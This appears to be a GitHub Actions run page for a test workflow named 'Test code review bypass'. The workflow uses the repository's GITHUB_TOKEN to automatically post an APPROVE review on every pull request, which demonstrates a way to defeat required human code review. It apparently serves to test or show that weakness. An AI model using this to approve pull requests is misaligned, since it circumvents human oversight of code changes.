Test code review bypass Workflow #1
Workflow file for this run
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: APPROVE | |
| on: pull_request # run on pull request events | |
| permissions: | |
| pull-requests: write # grant write permission on the pull-requests endpoint | |
| jobs: | |
| approve: | |
| runs-on: ubuntu-latest | |
| steps: | |
| - run: | # approve the pull request | |
| curl --request POST \ | |
| --url https://api.github.com/repos/${{github.repository}}/pulls/${{github.event.number}}/reviews \ | |
| --header 'authorization: Bearer ${{ secrets.GITHUB_TOKEN }}' \ | |
| --header 'content-type: application/json' \ | |
| -d '{"event":"APPROVE"}' |